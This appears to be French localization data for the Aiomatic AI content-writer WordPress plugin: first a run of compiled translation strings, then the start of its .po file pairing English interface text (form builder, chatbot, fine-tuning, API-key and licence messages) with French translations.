GPT-3 ?Types d'articles à modifier : sélectionnez les types d'articles à modifier. Il peut s'agir d'articles de blog, de pages ou de tout autre type d'article personnalisé que vous avez sur votre site.Température d'échantillonnage à utiliser. Des valeurs plus élevées signifient que le modèle prendra plus de risques. Essayez 0,9 pour les applications plus créatives, et 0 (échantillonnage argmax) pour celles dont la réponse est bien définie. Nous recommandons généralement de modifier cette valeur ou top_p, mais pas les deux.Ce qu'il faut restreindreCe qu'il faut restreindre :Lors de la création d'embeds, il est important de garder à l'esprit qu'il faut toujours créer un ensemble de données de haute qualité, car cela aidera l'auteur de l'IA à obtenir un contexte plus correct.Lors de la mise au point d'un modèle, il est important de garder à l'esprit certains éléments, tels que la qualité de l'ensemble de données et les paramètres du modèle qui seront ajustés. En outre, il est important de surveiller les performances du modèle pendant et après l'ajustement.Quand modifier les messages : Choisissez si vous souhaitez que les messages soient modifiés lorsqu'ils sont publiés, en cours de rédaction ou en attente.Lorsque vous utilisez l'outil "Dataset Uploader", chaque invite et chaque complétion du fichier que vous téléchargez doivent se terminer par leur propre terminaison. Par défaut, il s'agit de " ->" pour les Prompts et de " ###" pour les complétions (veillez à ne pas ajouter de guillemets et à respecter les espaces finaux). Veillez également à ce que chaque complétion commence par un espace ! Consultez d'autres exigences relatives à la conception des données de formation,Si vous avez ou non WordPress multisite activé.Quels sont les articles qui devraient être affectés par l'édition en vrac de l'IA :L'échantillonneur à utiliser pour le processus de diffusion. Si cette valeur est omise, nous sélectionnerons automatiquement un échantillonneur approprié.Conversation vocale vers TexteAvec IA Forms, vous pouvez créer des formulaires entièrement personnalisables qui pourront être utilisés avec le shortcode [aiomatic-form id="FORM_ID"]. Vous pouvez créer des formulaires textuels, des formulaires d'images Dalle-2 ou des formulaires d'images Stable Diffusion. Vous pouvez créer des champs de saisie personnalisés de plusieurs types pour les formulaires créés, dans lesquels les utilisateurs pourront définir les valeurs de saisie qu'ils souhaitent. Ces champs de saisie pourront être remplacés dans les Prompts que vous définissez pour chaque formulaire, à l'aide de shortcodes dans ce format : %%input_field_ID%%.Avec des images en vedetteEn valeur absolue, un jour représente aujourd'hui. Sinon, il représente les dernières 24 heures à partir de maintenant. La même logique s'applique aux autres cadres temporels.Sans images en vedetteWordPress Cron JobEnvironnement WordPressEn cours…Rédiger une description à l'aide de l'IARédiger une description SEO distincteRédigez un résumé captivant et succinct en anglais pour le site WordPress %s : "%s", en mettant l'accent sur ses principales caractéristiques, ses avantages et ses qualités distinctives.Style d'écritureStyle d'écriture :Tonalité de l'écritureTonalité de l'écriture :XhosaXhosa (Google Traduction)AnnéeRequête de l'année :OuiYiddishYiddish (Google Traduction)YorubaYoruba (Google Traduction)Vous n’êtes pas autorisé à accéder à ce formulaire si vous n’êtes pas connecté. Veuillez vous connecter pour continuer.Vous n’êtes pas autorisé à activer cette extension !Vous pouvez ajouter le chatbot de manière globale à votre site ou localement à des articles ou des pages. Pour ajouter le chatbot localement, vous pouvez utiliser le shortcode [aiomatic-chat-form]. Si vous souhaitez l'ajouter globalement, vous devez vous rendre sur la page des paramètres du plugin, aller dans le menu "AI Chatbot" du plugin et naviguer jusqu'à l'onglet "Chatbot Website Injection". Choisissez où vous voulez que le chatbot apparaisse sur votre site web (par exemple, sur toutes les pages du front-end, du back-end, à l'exception des pages où vous ne voulez pas que le chatbot apparaisse).Vous pouvez ajouter la valeur de ce champ à le Prompt du formulaire ci-dessous, en utilisant ce shortcodeVous pouvez également ajouter un chatbot entièrement personnalisable à votre site pour dialoguer avec les visiteurs et leur fournir les informations dont ils ont besoin en temps réel.Vous pouvez également modifier le statut des messages après qu'ils ont été édités, en utilisant le champ de configuration "Modifier le statut du message après l'édition".Vous pouvez également commencer à créer vos propres formulaires IA. Pour ce faire, accédez à l'onglet "Add A New IA Form" (Ajouter un nouveau formulaire IA) et commencez à créer vos propres formulaires. Vous pouvez choisir entre plusieurs types de formulaires (texte, image Dall-E 2 ou image de diffusion stable), définir un nom de formulaire et une description (qui peuvent être affichés en haut du formulaire, sous forme d'en-tête). Vous pouvez également créer plusieurs champs de saisie (de plusieurs types), en utilisant le bouton "Add A New Form Input Field", qui seront utilisés par les utilisateurs pour saisir leurs données. Pour chaque champ de saisie, vous pouvez définir un "ID", qui sera utilisé comme code court (et remplacé par la valeur saisie par l'utilisateur) dans le Prompt IA que vous définissez dans le formulaire que vous créez, en utilisant ce format : %%input_ID%%. Vous pourrez également définir certains paramètres avancés du modèle IA et configurer le texte du bouton d'envoi du formulaire. Pour une personnalisation plus détaillée des formulaires IA, vous pouvez consulter le menu 'Paramètres principaux' du plugin -> onglet 'IA Forms'.Vous pouvez charger des fichiers .csv ou .jsonl.Vous pouvez configurer les formulaires IA dans la partie frontale de votre site, en utilisant le shortcode [aiomatic-form id="FORM_ID"]. Vous pouvez obtenir le shortcode pour chaque formulaire, à partir de l'onglet "Liste des formulaires IA" ci-dessus. Ici, vous pourrez gérer (éditer, supprimer, prévisualiser) les formulaires IA créés.Vous pouvez utiliser les shortcodes suivants ici : %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%Vous pouvez utiliser ce tableau pour surveiller l'utilisation du plugin et repérer toute activité inhabituelle.Vous avez atteint la limite d’utilisation.Vous devez ajouter une clé API Pinecone dans le menu 'Paramètres principaux' du plugin (onglet Clés API), avant de pouvoir utiliser cette fonctionnalité!Vous devez ajouter un index Pinecone dans le menu 'Paramètres principaux' du plugin (onglet Embeddings), avant de pouvoir utiliser cette fonctionnalité !Vous devez ajouter une clé API OpenAI dans le menu "Paramètres principaux" du plugin avant de pouvoir utiliser cette fonctionnalité !Vous devez ajouter une clé API OpenAI/AiomaticAPI dans le menu « Paramètres principaux » du plugin avant de pouvoir utiliser cette fonctionnalité !Vous devez entrer un mot secret ci-dessus pour utiliser cette fonction.Vous devez activer la case à cocher "Activer le suivi de l'utilisation pour les statistiques et les limites d'utilisation" dans le menu "Paramètres principaux" du plugin pour activer cette fonctionnalité.Vous devez saisir une clé API ElevenLabs.io, une clé API D-ID ou une clé API Google Text-to-Speech dans l'onglet "Clés API" et enregistrer les paramètres pour utiliser cette fonctionnalité.Vous devez entrer une clé API de Pinecone.io dans l'onglet "Clés API" et enregistrer les paramètres, pour utiliser cette fonctionnalité.Vous devez spécifier le paramètre ID pour que ce shortcode fonctionne !Vous voilà prêt !Liste des clés API YouTube (facultatif) (utilisée pour les vidéos connexes) :YouTube vers les articles de blogOptions de la vidéo YouTubeVignette de la vidéo YouTubeURL des vidéos YouTubeTutoriel de conversion des vidéos YouTube en articlesVotre propre HTML :Votre User Agent :ZuluZulu (Google Traduction)[aicontent] Prise en charge des shortcodes imbriqués (fonctionnalité avancée) :[aicontent] Shortcode / Code court[aicontent] Shortcode / Code court Model par Default :[aicontent] Shortcode / Code court Fréquence des Pénalités :[aicontent] Shortcode / Code court Présence Pénalité :[aicontent] Temperature Shortcode / Code court :[aicontent] Shortcode / Code court Top_p :[aicontent] Shortcode Vidéo Tutoriel :[aicontent] Shortcode / Code court :une fois le téléchargement des données terminé, allez dans l'onglet "Datasets" de ce plugin, recherchez le fichier que vous avez téléchargé (assurez-vous de synchroniser les fichiers) et cliquez sur "Create Fine-Tune" (Créer un réglage fin). Dans la fenêtre qui s'affiche, sélectionnez "Nouveau modèle" si vous souhaitez créer un nouveau réglage fin, ou sélectionnez n'importe quel modèle de réglage fin existant, pour créer un nouveau réglage fin basé sur ce modèle de réglage fin existant. Ce processus prendra un certain temps ; pour un ensemble de données de 500 lignes, il prend généralement environ 20 minutes.une fois la création des finetunes terminée, allez dans l'onglet "Model Finetunes" et vérifiez les finetunes que vous avez créées. Veillez à synchroniser les finetunes. Attendez que le finetune soit listé avec le statut "réussi", après quoi il apparaîtra également dans le plugin et pourra être directement sélectionné lors de la sélection des modèles que vous souhaitez utiliser pour la création de données dans le plugin ! Si vous ne voyez pas votre modèle affiné dans la liste déroulante, assurez-vous que la demande d'affinage est complète. Vous pouvez également cliquer sur le lien "Sync Models" pour obtenir les derniers modèles.et créez votre clé API.ne sautez pas cette étape !ne sautez pas cette étape ! Veillez également à être clair avecavant de continuer. Vous pouvez filtrer les messages à modifier. Il est également recommandé d'effectuer une sauvegarde générale du site avant de procéder à une modification en vrac du contenu.avant de continuer. Vous pouvez filtrer les articles à indexer.par %sVersion cURL SSLversion de cURLétudes de cas de l'OpenAIconsultez le tutoriel de cette fonctionnalitécréer autant de questions et de réponses de haute qualité que possible, les ajouter sur une seule ligne, donner un contexte détaillé. Dans ce cas (contrairement à la formation de modèles d'IA), il n'est pas nécessaire de créer de très grandes quantités de données, il suffit de saisir les informations que vous souhaitez que le modèle d'IA apprenne.créez autant de questions et de réponses de qualité que possible, contenant autant d'informations utiles que vous pouvez imaginer, qui peuvent enseigner à l'IA l'objectif de votre finetune. Gardez à l'esprit que vous devrez peut-être créer de très grandes quantités de données (des dizaines de milliers de questions et de réponses) pour que cela fonctionne comme prévu.esrgan-v1-x2plusfonctionnalité du pluginfonctionnalité du plugin.pour la traduction, le plugin prend également en charge WPML.pour obtenir des vidéos tutorielles et d'autres ressources utiles. Ici, vous pouvez toujours trouver la dernière mise à jour du plugin et comment il a été amélioré. Je suis constamment en train d'ajouter de nouvelles mises à jour au plugin pour vous aider à en tirer le meilleur parti, alors assurez vous de vous abonner et de rester au courant de la dernière version du plugin.pour l'utilisation d'embeddings/encastrements.pour l'utilisation de modèles affinésde l'OpenAI.obtenez un nouveau compte maintenant !globalh2h3icisi ce n'est pas le cas, vous pouvez commencer à entrer vos données dans le plugin. Pour éviter de perdre votre travail, ces données sont conservées dans le stockage local de votre navigateur. Ceci est en fait complexe, alors apprenez à écrire des ensembles de données en étudiantsi vous disposez déjà de vos données dans le format requis (fichier JSONL), vous pourrez les télécharger directement vers OpenAI. Veillez à sélectionner le modèle de base pour lequel vous souhaitez créer un réglage fin dans la liste déroulante "Base du modèle", car c'est à cette étape que vous décidez du modèle pour lequel vous souhaitez créer un réglage fin avec les données téléchargées. Pour télécharger des ensembles de données plus importants, le paramètre de taille maximale de téléchargement de fichiers de WordPress doit être au moins égal à la taille du fichier que vous souhaitez télécharger. Vous pouvez suivre les instructions suivantesdeouplaylists sur YouTube.extensionrequêtesrésultatsstable-diffusion-512-v2-0stable-diffusion-512-v2-1stable-diffusion-768-v2-0stable-diffusion-768-v2-1stable-diffusion-v1stable-diffusion-v1-5stable-diffusion-v1-5stable-diffusion-512-v2-0stable-inpainting-512-v2-0stable-inpainting-v1-0Source de l’articleSource de l’articlela page des paramètres 'IA embeddings'la page de configuration "AI model training" (apprentissage du modèle d'IA)Une nouvelle version de l'extension %s est disponible.Impossible de déterminer si des mises à jour sont disponibles pour %s.Le plugin %s est à jour.guide d'utilisationil s'agit d'un outil conçu pour collecter des informations à partir de vos pages, messages ou produits et pour créer des ensembles de données à partir de ceux-ci. Cela peut être utile si vous souhaitez entraîner un nouveau modèle à mieux connaître le contenu de votre site web. L'outil définit le titre de l'article/de la page/du produit comme la "question" et le contenu comme la "réponse". Vous pouvez télécharger les fichiers résultants et les charger à l'aide de l'onglet "Dataset Uploader". Dans ce cas, le plugin ajoutera automatiquement les suffixes du Pompt et d'achèvement définis dans le menu "Paramètres principaux" du plugin. Les valeurs par défaut sont ' ->' (sans les guillemets) comme suffixe d'invite, ' ###' (sans les guillemets) comme suffixe de complétion et commencer les complétions par un espace (ceci est requis par OpenAI).cette vidéopour y parvenir. Le fichier téléchargé doit contenir des paires de questions et de réponses. La partie "prompt" est la question et la partie "complétion" est la réponse. Vous pouvez trouver un fichier d'exemplepour ajouter un formulaire similaire au Playground d'OpenAI, pour générer du texte écrit par l'IA sur la base d'Prompts.pour ajouter un formulaire similaire au Text Completion Playground d'OpenAI, pour générer du texte écrit par l'IA à partir de Prompts.pour ajouter un formulaire permettant de générer des images IA (GPT-3) sur la base de Prompts.pour ajouter un formulaire permettant de générer des images d'IA (diffusion stable) sur la base de Prompts.pour ajouter un formulaire permettant de générer un chat similaire à ChatGPT. Cependant, veuillez noter qu'il ne s'agit pas de ChatGPT, mais d'un chatbot personnalisé construit au-dessus de l'API OpenAI.pour créer automatiquement une image générée par l'IA (GPT-3) basée sur l'argument 'seed_expre' du contenu de l'article/excerpt/title où le shortcode est placé,pour créer automatiquement une image générée par l'IA (Stable Diffusion) basée sur l'argument 'seed_expre' du contenu de l'article/excerpt/title où le shortcode est placé,pour écrire automatiquement un article basé sur l'argument 'seed_expre' du contenu de l'article/excerpt/title où le shortcode est placé,pour convertir un fichier audio en textepour créer des images en utilisant la Difussion Stablepour inclure une liste d'articles semblable à celle de WordPress. Utilisation :pour inclure une liste qui ne contient que les articles importés par ce plugin, etinclure une représentation textuelle des crédits restants pour le compte courant (dans le cas où l'utilisation de l'IA est limitée par les paramètres du plugin)d'inclure une représentation visuelle des crédits restants pour le compte courant (dans le cas où l'utilisation de l'IA est limitée par les paramètres du plugin)prix des jetonsjetonsutiliséutilisé pour la fonctionnalité Embeddings du pluginmot1, mot2, mot3languages/aiomatic-automatic-ai-content-writer-fr_FR.po000064400002702744147577714370017237 0ustar00msgid "" msgstr "" "Project-Id-Version: Aiomatic - Automatic AI Content Writer\n" "POT-Creation-Date: 2023-07-11 10:17+0300\n" "PO-Revision-Date: 2023-07-26 12:08+0200\n" "Last-Translator: \n" "Language-Team: \n" "Language: fr_FR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "X-Generator: Poedit 3.3.2\n" "X-Poedit-Basepath: ..\n" "X-Poedit-Flags-xgettext: --add-comments=translators:\n" "X-Poedit-WPHeader: aiomatic-automatic-ai-content-writer.php\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;" "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;" "_nx_noop:3c,1,2;__ngettext_noop:1,2\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.min.js\n" #: aiomatic-ajax-actions.php:1279 aiomatic-ajax-actions.php:1354 #: aiomatic-ajax-actions.php:1432 aiomatic-ajax-actions.php:1839 #: aiomatic-ajax-actions.php:2425 aiomatic-ajax-actions.php:3689 #: aiomatic-ajax-actions.php:3899 aiomatic-ajax-actions.php:4035 #, php-format msgid "" "You are not allowed to access this form if you are not logged in. Please log in to continue." msgstr "" "Vous n’êtes pas autorisé à accéder à ce formulaire si vous n’êtes pas " "connecté. Veuillez vous connecter pour " "continuer." #: aiomatic-ajax-actions.php:2860 res/aiomatic-shortcodes.php:174 msgid "Add A New Form Input Field" msgstr "Ajouter un nouveau champ de saisie dans un formulaire" #: aiomatic-ajax-actions.php:2870 res/aiomatic-shortcodes.php:20 msgid "Set the input field Label (textual hint)." msgstr "Définir l'étiquette du champ de saisie (indication textuelle)." #: aiomatic-ajax-actions.php:2875 res/aiomatic-shortcodes.php:27 msgid "ID*" msgstr "ID*" #: aiomatic-ajax-actions.php:2876 res/aiomatic-shortcodes.php:30 #, php-format msgid "" "Set the input field ID. This is important, as you will be able to get the " "value entered by users on the front end for this input field, using this ID. " "You will be able to use this in the 'Prompt' settings field from below, in " "the following format: %%ID_YOU_ENTER_HERE%%." msgstr "" "Définissez l'identifiant du champ de saisie. Ce paramètre est important, car " "il vous permettra d'obtenir la valeur saisie par les utilisateurs sur le " "front-end pour ce champ de saisie, en utilisant cet identifiant. Vous " "pourrez l'utiliser dans le champ de configuration du \"Prompt\" ci-dessous, " "dans le format suivant : %%id_you_enter_here%% : %%ID_YOU_ENTER_HERE%%." #: aiomatic-ajax-actions.php:2879 res/aiomatic-shortcodes.php:35 msgid "" "You can add the value of this field to the form prompt from below, using " "this shortcode" msgstr "" "Vous pouvez ajouter la valeur de ce champ à le Prompt du formulaire ci-" "dessous, en utilisant ce shortcode" #: aiomatic-ajax-actions.php:2882 res/aiomatic-shortcodes.php:38 msgid "Required*" msgstr "Obligatoire*" #: aiomatic-ajax-actions.php:2883 res/aiomatic-shortcodes.php:41 msgid "" "Set this input field as required (form cannot be submitted unless this is " "filled up)." msgstr "" "Définissez ce champ de saisie comme obligatoire (le formulaire ne peut pas " "être soumis s'il n'est pas rempli)." #: aiomatic-ajax-actions.php:2901 res/aiomatic-shortcodes.php:51 msgid "Field Type*" msgstr "Type de champ*" #: aiomatic-ajax-actions.php:2902 res/aiomatic-shortcodes.php:54 msgid "Set the field type for this input field." msgstr "Définissez le type de champ pour ce champ de saisie." #: aiomatic-ajax-actions.php:2967 res/aiomatic-shortcodes.php:71 msgid "Min" msgstr "Min" #: aiomatic-ajax-actions.php:2976 res/aiomatic-shortcodes.php:75 msgid "Max" msgstr "Max" #: aiomatic-ajax-actions.php:2985 res/aiomatic-shortcodes.php:79 msgid "Rows" msgstr "Lignes" #: aiomatic-ajax-actions.php:2994 res/aiomatic-shortcodes.php:83 msgid "Cols" msgstr "Colonnes" #: aiomatic-ajax-actions.php:3007 res/aiomatic-shortcodes.php:91 msgid "Delete this field?" msgstr "Supprimer ce champ ?" #: aiomatic-ajax-actions.php:3013 res/aiomatic-shortcodes.php:178 msgid "Form Options" msgstr "Options Formulaire" #: aiomatic-ajax-actions.php:3014 res/aiomatic-shortcodes.php:179 msgid "Type*" msgstr "Type*" #: aiomatic-ajax-actions.php:3015 res/aiomatic-shortcodes.php:182 msgid "Set the type of this form." msgstr "Définissez le type de ce formulaire." #: aiomatic-ajax-actions.php:3023 res/aiomatic-main.php:2680 #: res/aiomatic-main.php:6601 res/aiomatic-shortcodes.php:59 #: res/aiomatic-shortcodes.php:187 msgid "Text" msgstr "Texte" #: aiomatic-ajax-actions.php:3029 res/aiomatic-shortcodes.php:188 msgid "Dall-E 2 Image" msgstr "Dall-E 2 Image" #: aiomatic-ajax-actions.php:3037 res/aiomatic-shortcodes.php:192 msgid "Stable Diffusion Image" msgstr "Image de diffusion stable" #: aiomatic-ajax-actions.php:3041 res/aiomatic-shortcodes.php:197 msgid "Title*" msgstr "Titre*" #: aiomatic-ajax-actions.php:3042 res/aiomatic-shortcodes.php:200 msgid "Set the title of this form." msgstr "Définissez le titre de ce formulaire." #: aiomatic-ajax-actions.php:3046 res/aiomatic-shortcodes.php:206 #: res/image-seo/seo-panel.php:109 msgid "Description" msgstr "Description" #: aiomatic-ajax-actions.php:3047 res/aiomatic-shortcodes.php:209 msgid "Set the description of this form." msgstr "Définissez la description de ce formulaire." #: aiomatic-ajax-actions.php:3051 res/aiomatic-shortcodes.php:215 msgid "Prompt*" msgstr "Prompt*" #: aiomatic-ajax-actions.php:3052 res/aiomatic-shortcodes.php:219 #, php-format msgid "" "Set the prompt which will be sent to the AI content writer. You can use " "shortcodes to get the input values entered by users in the form. The " "shortcodes need to be in the following format: %%ID_of_the_input_field%%" msgstr "" "Définissez le Prompt qui sera envoyée au rédacteur de contenu de l'IA. Vous " "pouvez utiliser des shortcodes pour obtenir les valeurs saisies par les " "utilisateurs dans le formulaire. Les shortcodes doivent avoir le format " "suivant : %%ID_du_champ_de_saisie%%, [2], [3] : %%ID_of_the_input_field%%" #: aiomatic-ajax-actions.php:3056 aiomatic-shortcodes-file.php:359 #: res/aiomatic-shortcodes.php:225 msgid "Sample Response" msgstr "Exemple de réponse" #: aiomatic-ajax-actions.php:3057 res/aiomatic-shortcodes.php:228 msgid "Set an example response for this form, this can be shown to users." msgstr "" "Définissez un exemple de réponse pour ce formulaire, qui peut être montré " "aux utilisateurs." #: aiomatic-ajax-actions.php:3067 res/aiomatic-shortcodes.php:235 msgid "AI Model Options" msgstr "Options du modèle d'IA" #: aiomatic-ajax-actions.php:3068 res/aiomatic-shortcodes.php:236 msgid "AI Model*" msgstr "Modèle d'IA *" #: aiomatic-ajax-actions.php:3069 res/aiomatic-shortcodes.php:239 msgid "Select the AI model to be used for this form." msgstr "Sélectionnez le modèle d'IA à utiliser pour ce formulaire." #: aiomatic-ajax-actions.php:3085 res/aiomatic-shortcodes.php:253 msgid "Show/Hide Advanced Model Settings" msgstr "Afficher/masquer les paramètres avancés du modèle" #: aiomatic-ajax-actions.php:3088 aiomatic-shortcodes-file.php:338 #: res/aiomatic-shortcodes.php:256 msgid "Max Token Count" msgstr "Nombre maximal de jetons" #: aiomatic-ajax-actions.php:3089 res/aiomatic-shortcodes.php:259 msgid "Set the AI maximum token count of this form." msgstr "Définit le nombre maximum de jetons AI de ce formulaire." #: aiomatic-ajax-actions.php:3093 res/aiomatic-shortcodes.php:265 #: res/aiomatic-single-list.php:656 msgid "Temperature" msgstr "Température" #: aiomatic-ajax-actions.php:3094 res/aiomatic-shortcodes.php:268 msgid "Set the AI temperature of this form." msgstr "Définissez la température AI de ce formulaire." #: aiomatic-ajax-actions.php:3098 aiomatic-shortcodes-file.php:340 #: res/aiomatic-shortcodes.php:274 msgid "Top_p" msgstr "Top_p" #: aiomatic-ajax-actions.php:3099 res/aiomatic-shortcodes.php:277 msgid "Set the AI top_p parameter of this form." msgstr "Définissez le paramètre AI top_p de ce formulaire." #: aiomatic-ajax-actions.php:3103 aiomatic-shortcodes-file.php:342 #: res/aiomatic-shortcodes.php:283 msgid "Presence Penalty" msgstr "Pénalité de présence" #: aiomatic-ajax-actions.php:3104 res/aiomatic-shortcodes.php:286 msgid "Set the AI presence penalty parameter of this form." msgstr "Définir le paramètre de pénalité de présence de l'IA de ce formulaire." #: aiomatic-ajax-actions.php:3108 aiomatic-shortcodes-file.php:341 #: res/aiomatic-shortcodes.php:292 msgid "Frequency Penalty" msgstr "Pénalité de fréquence" #: aiomatic-ajax-actions.php:3109 res/aiomatic-shortcodes.php:295 msgid "Set the AI frequency penalty parameter of this form." msgstr "" "Définir le paramètre de pénalisation de la fréquence de l'IA de ce " "formulaire." #: aiomatic-ajax-actions.php:3115 res/aiomatic-shortcodes.php:303 msgid "Front End Options" msgstr "Options du front-end" #: aiomatic-ajax-actions.php:3116 res/aiomatic-shortcodes.php:304 msgid "Show Header On Front End*" msgstr "Afficher l'en-tête sur le front-end*" #: aiomatic-ajax-actions.php:3117 res/aiomatic-shortcodes.php:307 msgid "Select if you want to show the form header to users." msgstr "" "Sélectionnez si vous souhaitez afficher l'en-tête du formulaire aux " "utilisateurs." #: aiomatic-ajax-actions.php:3134 res/aiomatic-shortcodes.php:316 msgid "Submit Button Text*" msgstr "Texte du bouton de soumission*" #: aiomatic-ajax-actions.php:3135 res/aiomatic-shortcodes.php:319 msgid "Set the submit button text of this form." msgstr "Définit le texte du bouton d'envoi de ce formulaire." #: aiomatic-ajax-actions.php:3139 res/aiomatic-embeddings.php:69 #: res/aiomatic-shortcodes.php:325 res/image-seo/seo-panel.php:129 msgid "Save" msgstr "Sauvegarder" #: aiomatic-automatic-ai-content-writer.php:481 msgid "Write Description Using AI" msgstr "Rédiger une description à l'aide de l'IA" #: aiomatic-automatic-ai-content-writer.php:482 msgid "" "INFO: Configure AI Writer Prompts in the \"Taxonomy Description Writer\" tab " "from" msgstr "" "INFO : Configurer les Prompts du rédacteur AI dans l'onglet \"Rédacteur de " "la description de la taxonomie\" à partir de l'onglet \"Rédacteur de la " "description de la taxonomie\"" #: aiomatic-automatic-ai-content-writer.php:482 res/aiomatic-main.php:2409 #: res/aiomatic-training.php:64 res/aiomatic-training.php:65 #: res/aiomatic-training.php:68 msgid "here" msgstr "ici" #: aiomatic-automatic-ai-content-writer.php:516 #: aiomatic-automatic-ai-content-writer.php:527 msgid "AI Generated Reply" msgstr "Généré par l'IA" #: aiomatic-automatic-ai-content-writer.php:528 msgid "This process was already started!" msgstr "Ce processus a déjà commencé !" #: aiomatic-automatic-ai-content-writer.php:529 msgid "Cannot find this comment ID!" msgstr "Impossible de trouver l'identifiant de ce commentaire !" #: aiomatic-automatic-ai-content-writer.php:530 msgid "Working..." msgstr "En cours…" #: aiomatic-automatic-ai-content-writer.php:822 #, php-format msgid "" "The plugin is not registered. Automatic updating is disabled. Please " "purchase a license for it from here and " "register the plugin from the 'Main Settings' menu using your purchase code. " "How I find my purchase code?" msgstr "" "Le plugin n'est pas enregistré. La mise à jour automatique est désactivée. " "Veuillez acheter une licence ici et " "enregistrer le plugin à partir du menu 'Paramètres principaux' en utilisant " "votre code d'achat. Comment trouver mon " "code d'achat ?" #: aiomatic-automatic-ai-content-writer.php:838 msgid "Activate Plugin License" msgstr "Activer la licence du Plugin" #: aiomatic-automatic-ai-content-writer.php:850 res/aiomatic-main.php:577 msgid "Main Settings" msgstr "Paramètres principaux" #: aiomatic-automatic-ai-content-writer.php:856 res/aiomatic-main.php:3716 #: res/aiomatic-main.php:4079 res/aiomatic-single-list.php:151 msgid "Single AI Post Creator" msgstr "Créateur d'un seul article IA" #: aiomatic-automatic-ai-content-writer.php:860 res/aiomatic-main.php:3722 #: res/aiomatic-main.php:4085 msgid "Bulk AI Post Creator" msgstr "Créateur d'articles IA en vrac" #: aiomatic-automatic-ai-content-writer.php:863 msgid "YouTube To Blog Posts" msgstr "YouTube vers les articles de blog" #: aiomatic-automatic-ai-content-writer.php:866 msgid "Amazon Product Roundup" msgstr "Récapitulatif des produits Amazon" #: aiomatic-automatic-ai-content-writer.php:869 msgid "AI Content Editor" msgstr "Paramètre de l'Éditeur de contenu IA" #: aiomatic-automatic-ai-content-writer.php:874 msgid "AI Chatbot" msgstr "Chatbot IA" #: aiomatic-automatic-ai-content-writer.php:878 msgid "AI Shortcodes & Forms" msgstr "Shortcodes et formulaires IA" #: aiomatic-automatic-ai-content-writer.php:882 msgid "AI Embeddings" msgstr "Intégrations IA" #: aiomatic-automatic-ai-content-writer.php:887 res/aiomatic-embeddings.php:47 #: res/aiomatic-training.php:40 msgid "AI Model Training" msgstr "Formation sur les modèles d’IA" #: aiomatic-automatic-ai-content-writer.php:891 res/aiomatic-playground.php:34 msgid "AI Playground" msgstr "Terrain de jeu de l'IA" #: aiomatic-automatic-ai-content-writer.php:894 #: res/aiomatic-limits-statistics.php:444 msgid "Limits & Statistics" msgstr "Limites & Statistiques" #: aiomatic-automatic-ai-content-writer.php:898 res/aiomatic-more.php:7 #: res/aiomatic-more.php:10 msgid "More Features" msgstr "Plus de fonctionnalités" #: aiomatic-automatic-ai-content-writer.php:901 msgid "Activity & Logging" msgstr "Activité et journalisation" #: aiomatic-automatic-ai-content-writer.php:938 #: res/aiomatic-amazon-list.php:165 res/aiomatic-rules-list.php:165 #: res/aiomatic-youtube-list.php:165 msgid "Show Tutorial Video" msgstr "Afficher la vidéo du tutoriel" #: aiomatic-automatic-ai-content-writer.php:939 msgid "Hide Tutorial Video" msgstr "Cacher la vidéo du tutoriel" #: aiomatic-automatic-ai-content-writer.php:1036 res/other/plugin-dash.php:83 msgid "Support" msgstr "Support" #: aiomatic-automatic-ai-content-writer.php:1043 msgid "Settings" msgstr "Réglages" #: aiomatic-automatic-ai-content-writer.php:1058 msgid "Kronos Cron 10 Minute" msgstr "Kronos Cron 10 Minute" #: aiomatic-automatic-ai-content-writer.php:1062 msgid "Kronos Cron Quarter Hour" msgstr "Kronos Cron Quart d'heure" #: aiomatic-automatic-ai-content-writer.php:1066 msgid "Kronos Cron Half Hour" msgstr "Kronos Cron Demi heure" #: aiomatic-automatic-ai-content-writer.php:1070 msgid "Aiomatic Cron" msgstr "Cron aiomatique" #: aiomatic-automatic-ai-content-writer.php:1074 msgid "Once A Minute" msgstr "Une fois par minute" #: aiomatic-automatic-ai-content-writer.php:1078 msgid "Once Weekly" msgstr "Une fois par semaine" #: aiomatic-automatic-ai-content-writer.php:1082 msgid "Once Monthly" msgstr "Une fois par mois" #: aiomatic-automatic-ai-content-writer.php:1112 #: aiomatic-automatic-ai-content-writer.php:1141 msgid "Generating title..." msgstr "Générer un titre..." #: aiomatic-automatic-ai-content-writer.php:1113 #: aiomatic-automatic-ai-content-writer.php:1142 msgid "Generating SEO meta description..." msgstr "Générer des méta-descriptions SEO..." #: aiomatic-automatic-ai-content-writer.php:1114 #: aiomatic-automatic-ai-content-writer.php:1143 aiomatic-helpers.php:1438 msgid "Generating content..." msgstr "Génération de contenu..." #: aiomatic-automatic-ai-content-writer.php:1115 #: aiomatic-automatic-ai-content-writer.php:1144 msgid "Generating short description (excerpt)..." msgstr "Générer une courte description (extrait)..." #: aiomatic-automatic-ai-content-writer.php:1116 #: aiomatic-automatic-ai-content-writer.php:1145 msgid "Generating tags..." msgstr "Générer des Tags/étiquettes..." #: aiomatic-automatic-ai-content-writer.php:1117 msgid "Saving post..." msgstr "Sauvegarde du poste..." #: aiomatic-automatic-ai-content-writer.php:1118 #: aiomatic-automatic-ai-content-writer.php:1146 msgid "Done!" msgstr "Terminé !" #: aiomatic-automatic-ai-content-writer.php:1119 #: aiomatic-automatic-ai-content-writer.php:1147 msgid "Please enter a title idea/keyword" msgstr "Veuillez saisir une idée de titre/un mot-clé" #: aiomatic-automatic-ai-content-writer.php:1120 msgid "Nothing to save!" msgstr "Rien à sauver !" #: aiomatic-automatic-ai-content-writer.php:1121 #: aiomatic-automatic-ai-content-writer.php:1148 msgid "Please select at least one checkbox to generate!" msgstr "Veuillez cocher au moins une case pour générer !" #: aiomatic-automatic-ai-content-writer.php:1122 msgid "An internal error was encountered, please try again later!" msgstr "Une erreur interne a été rencontrée, veuillez réessayer plus tard !" #: aiomatic-automatic-ai-content-writer.php:1123 #: aiomatic-automatic-ai-content-writer.php:1149 msgid "An error occurred, please try again later!" msgstr "Une erreur inconnue est survenue. Veuillez réessayer plus tard!" #. Plugin Name of the plugin/theme #: aiomatic-automatic-ai-content-writer.php:1128 msgid "Aiomatic - Automatic AI Content Writer" msgstr "Aiomatic - 